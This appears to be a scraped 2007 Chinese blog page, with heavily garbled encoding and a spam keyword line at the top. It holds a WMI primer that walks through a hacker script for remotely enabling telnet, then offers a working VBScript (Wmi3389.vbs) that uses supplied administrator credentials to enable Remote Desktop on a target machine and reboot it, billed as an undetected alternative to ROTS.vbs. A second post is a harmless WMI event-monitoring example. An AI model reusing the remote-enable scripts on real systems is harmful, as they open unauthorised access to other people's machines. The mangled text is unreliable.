亚洲日韩中文字幕无码一区,亚洲第一页在线播放,亚洲中文字幕久久精品无码2021

WMI基础知识

飛雪(leo) — Tue, 20 Mar 2007 06:14:00 GMT

WMI基础知识

2006-11-11 02:15

一�Q�WMI基础知识
====================================================================================
WMI 最初于1998�q�作��Z��个附加组件与 Windows NT 4.0 Service Pack 4 一起发行，是内�|�在Windows 2000�?Windows XP和Windows Server 2003 �p�d��操作�pȝ��中核心的��理支持技术。基于由 Distributed Management Task Force (DMTF) 所监督的业界标准，WMI是一�U�规范和基础�l�构�Q�通过它可以访问、配�|�、管理和监视几乎所有的Windows资源。大多用户习惯于使用众多的图形化��理工具来管理Windows资源�Q�在WMI之前�q�些工具都是通过 Win32应用�E�序�~�程接口(Application ProgrammingInterfaces�Q�API)来访问和��理Windows资源的。只要你熟�?zh��n)��pȝ��~�程你就知道API有多么重要。但是大多数脚本语言都不能直接调用Win32 API�Q�WMI的出��C��得系�l�管理员可以通过一�U�简便的�Ҏ(gu��)��卛_��用常见的脚本语言实现常用的系�l�管理�Q务。�?
利用WMI需要和脚本如WSH和VBScript�l�合��h��Q�可以实现的功能大家可以看微软的MSDN文档。�?
在编写我们自��q��脚本之前�Q�我们需要对WMI的体�pȝ��构有个基本的了解。如图一�Q?1.gif)
在WMI 体系�l�构中我们最需要关心的��是WMI提供�E�序�Q�WMI提供�E�序在WMI和托��资源之间扮演着中间方的角色。提供程序代表��用者应用程序和脚本从WMI托管资源��h��信息�Q��ƈ发送指令到WMI托管资源。下面是我们利用WMI�~�程�l�常要用到的WMI内置提供�E�序清单�Q�以供编�E�参考。�?
1.Active Directory提供�E�序
链接库文�Ӟ��dsprov.dll
命名�I�间�Q�root\directory\ldap
作用�Q�将Active Directory 对象映射刊W�WMI。�?

2.事�g日志提供�E�序
链接库文�Ӟ��ntevt.dll
命名�I�间�Q�root\cimv2
作用�Q�管理 Windows 事�g日志�Q�例如，��d��、备份、清除、复制、删除、监视、重命名、压�~�、解压羃和更改事件日志设�|�。�?

3.注册表提供程序�?
链接库文�Ӟ��stdprov.dll
命名�I�间�Q�root\default
作用�Q�读取、写入、枚举、监视、创建、删除注册表��和倹{��?

4.Win32 提供�E�序
链接库文�Ӟ��cimwin32.dll
命名�I�间�Q�root\cimv2
作用�Q�提供关于计��机、磁盘、外围设备、文件、文件夹、文件系�l�、网�l�组件、操作系�l�、打印机、进�E�、安全性、服务、共享、SAM 用户及组�Q�以及更多资源的信息。�?

5.Windows 安装�E�序提供�E�序
链接库文�Ӟ��msiprov.dll
命名�I�间�Q�root\cimv2
作用�Q�提供对已安装��Y件信息的讉K��。�?

从上面可以看出在WMI中类�Q�即内置提供�E�序�Q�被分组到命名空间中�Q�命名空间可以看成是一个组。比如，命名�I�间 root\cimv2 包括大部分表�C�通常与计��机和操作系�l�相兌��的资源的�c�R��在使用�cȝ��时候要说明�c�L��在的命名�I�间。类由属性和�Ҏ(gu��)��构成。这是可视化�~�程中的两个重要的概��c��属性描�q�的是对象的状态，�Ҏ(gu��)��是对象可以执行的操作。�?
理论知识学�v来很枯燥�Q�下面让我们边分析高手的脚本源码边进行理论知识的巩固吧。�?

二：解析RTCS.VBS主要代码
=====================================================================================
有时候阅��d��人的源码未尝不是一个好而且快捷的办法，下面��p��我们来认真学习zzzEVAzzz�~�写的一个可以远�E�开启telnet服务的脚本RTCS.VBS。�?
该脚本可以直接访问目标的WMI,不依赖于目标的ipc$,实现�q�程开�?关闭目标telnet服务�Q��ؓ了方便大家学习我抽出了最主要的代码，具体分析如下�Q��?
set objlocator=createobject("wbemscripting.swbemlocator")
//创徏WbemScripting.SwbemLocator对象(脚本接口)。�?
//可以看出WMI其实��是把Com�l��gWbemScripting.SWbemLocator��装��h��|�了。�?
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)
//通过ConnectServer函数��h��q�接到WMI控�g服务上，root/default为命名空间。�?
set objinstance=objswbemservices.get("stdregprov")
//建立讉K��注册表的实例。�?
set objmethod=objinstance.methods_("SetDWORDvalue")
//建立可以更改注册表键值的�Ҏ(gu��)��。�?
set objinparam=objmethod.inparameters.spawninstance_()
//MethodData.InParameters用于获取或设�|�方法的输入参数。这里用spawninstance�Ҏ(gu��)��为它建立一个子实例�Q�下面就可以��参数��D��予这个对象的属性。�?
objinparam.hdefkey=&h80000002
//hdefkey表示栚w��Q�根键的十六制值如下：
//HKEY_CLASSES_ROOT (&H80000000)
//HKEY_CURRENT_USER (&H80000001)
//HKEY_LOCAL_MACHINE (&H80000002)
//HKEY_USERS (&H80000003)
//HKEY_CURRENT_CONFIG (&H80000005)
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
//ssubkeyname表示子键。�?
objinparam.svaluename="NTLM"
//svaluename表示属性名。�?
objinparam.uvalue=ntlm
//uvalue表示键倹{��?
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
//利用execmethod执行�Ҏ(gu��)��Q�这里才真正改写了注册表。�?

//下面是修改telnet服务的TelnetPort��|��原理同上。�?
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)

修改telnet的注册表部分��完成了�Q�将NTLM和TelnetPort�q�行了修改，要是�Ҏ(gu��)��的telnet服务没有开启呢�Q�下面就需要根据telnet的具体情况，来启动telnet服务�Q��l�看代码。�?

//首先查询�q�程��L��上tlntsvr的启动方式。�?
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
//win32_service�c�d��root\cimv2命名�I�间中，作用没忘记吧�Q�快看基��知识��c��?
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
//注意�Q�查询都是通过枚�D来实现的。�?
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
set objmethod=objinstance.methods_("changestartmode")
//创徏changestartmode�Ҏ(gu��)��来改变tlntsvr的启动方式。�?
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
//��启动方式改为手动方式。�?
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
end if

//下面启动我们的telnet服务。这里zzzEVAzzz的思�\好象有点不对�Q�也不知道是不是他的疏忽�Q�我个�h认�ؓ当telnet服务已经启动时不应该用stopservice�Ҏ(gu��)��停止服务。�?
if objinstance.started=true then
intstatus=objinstance.stopservice()
//stopservice是WMI中用于停止服务实例的服务的方法。�?
else
intstatus=objinstance.startservice()
end if
next

三：手把手教你编写WMI版本的ROTS.vbs来开�?389
=====================================================================================
zzzVEAzzz 的脚本就分析到这里吧�Q�怎么��P��很EASY吧？�Q�我�怿�大家现在一定蠢蠢欲动了�Q?)好，一��h��写一个什么程序呢�Q�ROTS.vbs我想大家一定都用过吧？什么东东啊�Q�我……砸!大家应该知道�q�个ROTS是有它的使用条�g的，不仅要有��理员帐��P��q�要允许�q�行ipc�q�接�Q�在�q�个到处都是墙的�q�代�Q�ipc 早就不实用了�Q�而且ROTS.vbs早就被查杀了，那该怎么办？当然是自己动手了。能不能实现ROTS的一��L��q�程开�?389的功能而不受ipc的限制呢�Q�答案自从我写了�q�篇文章后成��定的�Q�哈哈，吹吹了。�?
当然我们也是要求�pȝ��臛_��?000server及以上的�Q�最�q�看到有个��Y件可以给2000pro开3389�Q�由于比较忙�Q�也没怎么�ȝ��它，�q�里我们暂且不说它，知道了原理一样好办。�?
开�?389有个注册表导入的�Ҏ(gu��)��Q�其它一些��Y件的开法，我想也大多是通过修改注册表实现的。这个方法需要导入如下的注册表：
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"

原理知道了就没什么难的了�Q�先理清我们的思�\�Q�我们的主要��d��是更�Ҏ(gu��)��册表里的键倹{��首先是创徏WMI对象�Q�然后是�q�接到远�E�WMI服务器，最后修�Ҏ(gu��)��册表键倹{��?
部分主要代码如下�Q�完整的代码和详�l�的注释��L��附带的��Y件包�Q��?

on error resume next
//防止出现意外。�?
set outstreem=wscript.stdout
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
//cmd后带/K参数表示执行字符串指定的命��o。�?
wscript.quit
end if
//�q�行��单的��查。�?
if wscript.arguments.count<3 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if
//取出参数�Q�分别赋予几个变量。�?
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
option=wscript.arguments(3)
usage()

下面是核心代码，也是实现�q�程修改注册表的功能�Q�我�q�里�l�出另外一�U�实现的方式�Q�对照前面的代码很容易理解，我就只作��单的解释了。详�l�情况可以参阅MSDN文档中关于StdRegProv�cȝ��说明。�?
�Q�http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.asp�Q��?

const HKEY_LOCAL_MACHINE = &H80000002
const HKEY_USERS=&H80000003
strComputer = ipaddress

//获取wmi对象
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")

strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
strValueName = "Enabled"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
strValueName = "ShutdownWithoutLogon"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"
strValueName = "EnableAdminTSRemote"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "TSEnabled"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"
strValueName = "Hotkey"
strValue=1
oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue

//下面实现重启�q�程机器
if option="/r" then
outstreem.write "Now, rebooting target...."
strwmiquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwmiquery)
for each objinstance in colinstances
objinstance.win32shutdown(2)
end if
outstreem.write "Ok, rebooted the target."

//��单的用法说明的函数。�?
function usage()
wscript.echo string(60,"=")
wscript.echo "Wmi3389 v1.0.0"
wscript.echo "No ipc Open 3389, code written by pye."
wscript.echo "Welcome to visite www.coon.cn or Mail to grandh4408@yahoo.com.cn"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [/r]"
wscript.echo "/r reboot the target this is optional"
wscript.echo "It use WMI to Open 3389 of target server."
wscript.echo string(60,"=")&vbcrlf
end function
��上面的代码复制带记事本里，保存为Wmi3389.vbs。然后在CMD里执行：
cscript Wmi3389.vbs ipaddress administrator password [/r]
看看是不是和ROTS.vbs有一��L��效果啊？大家赶快实践实践吧。�?

四：最后的唠叨
=====================================================================================
大家可以看出WMI的功能是很强大的�Q�这里要感谢MicroSoft了，它是永远都不会让我们失望的。WMI对象允许通过VB�Q�VBA�Q�WSH�Q? VBScript�Q� JScript�Q�ASP�Q�或是支持自动对象的其它环境�Q�对WMI�q�行完全讉K��。在参考查询体�p�M��加入 WMI Scripting V1.1 Library �Q�则Visual Basic或是VBA�Ҏ(gu��)��可以访问这些对象了。支持ActiveX�E�序的操作��^台可以通过对象�cȝ��代号�Q�或是类的名�U�创��些对象，�q�些对象的前�~�是WbemScripting�Q�如 WbemScripting.SwbemLocator。所以大家有兴趣的完全可以利用VB�Q�WSH�Q�VBScript�Q� JScript�Q�ASP�{�编写更多的利用WMI的黑客程�?/font>

飛雪(leo) 2007-03-20 14:14 发表评论

WMI事�g��?

飛雪(leo) — Mon, 19 Mar 2007 16:13:00 GMT

我们��在�q�个月尝试一�U�略显激�q�的方式。一般情况下�Q�我们这个专栏主要采取针对从化名脚本�~�程人员那里收到的某一常见问题加以解答的方式。而这�ơ，我们��不再沿袭以往做法。取而代之的是，我们��回�{�一个自己尚未（或至��几乎未曾）从脚本编�E��h员那里听说的问题�?

很少有�h向我询问有关WMI事�g的问题。这�U�情�늜�上去�q�不正常。WMI的确具备非常“酷”的功能�Ҏ(gu��)�?-或许多少有些复杂--但迄今�ؓ止，我们��未收到�q�有兛_��的�Q何问题。这�U�情冉|��否出于广大专业�h员对WMI所具备的事件处理能力尚不熟�(zh��n)�的�~�故�Q�亦或出于从未有人向�(zh��n)�介�l�过有关情况�Q�而�?zh��n)�也没有碰巧读到过合适的书籍�Q?

好吧�Q�就��情�늚��如此，而本月的专栏文章则将围绕�q�一主题向�?zh��n)��q�行��要介�l�。尽��?zh��n)�应可凭借这��专栏文章蹒跚学步，�q�了解有关WMI事�g的些许皮毛，然而，我们仍希望�?zh��n)�臛_��对WMI事�g的常规工作方式具备最基本的认识，�q�将�Ҏ(gu��)��大有帮助。如果�?zh��n)�需要在�l�箋阅读本文之前先对WMI�q�行一�ơ速成式学习，那么�Q�我们便强烈��(zh��n)�选用位于MSDN的WMI入门指南�p�d��教材�Q��?zh��n)�只需阅读该系列教材的�W�一部分�Q�即可掌握与事�g有关的入门知识，�q��ؓ�l�箋学习事�g技术奠定良好基��?

好的�Q�在我们开始学习WMI事�g之前�Q�或许应��所谓“事件”的含义达成��p��。事件是指那些发生在计算机环境内部的对象。实际上�Q�那些只是潜在的事�g�Q�而当�(zh��n)�对某一事物的发生给予关注时�Q�它才算的上真正发生�Q�而这��是一个事件�?

��而言之，WMI事�g正是�(zh��n)�所��x��对象--也就是说�Q��?zh��n)�所需获得通知的对�?-已经发生的通知。�D例来��_��(zh��n)�也许希望在Web服务器的处理器��用��M��比率��过90�Q�这一阈值时接到有关通知�Q�以便设�|�一定数量的间歇。或许�?zh��n)��q�希望在本公司文件服务器��d��储容量占用率低于10�Q�的情况下接到相关通知。而WMI事�g则是一�U�由WMI提供的机�Ӟ��可帮助�?zh��n)�借助某一特定脚本针对�pȝ��变化�q�行相应配置�Q�执行接收操作，�q�做出必要响应�?

而针对WMI加以理解的另一�U�方法则是，WMI事�g对于WMI来说�Q�就如同警报信息对于性能监视器、陷阱对于SNMP和规则对于Microsoft操作��理器（MOM�Q�所��h��的意义。以上四�l�关�p�M��表着针对�pȝ��和（或）�|�络变化�q�行监视或做出反应的具体方式�?

话已�l�说得��够多了。现在让我们开始编写脚本。以下脚本主要用来针对基于本地计��机�Q�也��是�(zh��n)�赖以运行脚本的计算机）的进�E�实施监控。而该脚本所��L��的事件则是notepad.exe�q�程的创建。如需对这个脚本加以试用，则请��其输入��C��本，�q�保存�ؓMonitorNotepad.vbs。接着�Q�打开一个命令行�H�体�Q��ƈ��D��至保存有下列脚本的目录，然后�Q�输入C:\scripts>cscript MonitorNotepad.vbs�?

strComputer = "."

Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")

strWQL = "SELECT * " & _
         "FROM __InstanceCreationEvent " & _ 
         "WITHIN 2 " & _
         "WHERE TargetInstance ISA 'Win32_Process' " & _
         "AND   TargetInstance.Name = 'notepad.exe'"

WScript.Echo "Waiting for a new instance of Notepad to start..."
Set objEventSource = objWMIService.ExecNotificationQuery(strWQL)
Set objEventObject = objEventSource.NextEvent()
WScript.Echo "A new instance of Notepad was just started."

在脚本运行过�E�中�Q��?zh��n)��会看到如下图所�C�的情况出现�Q?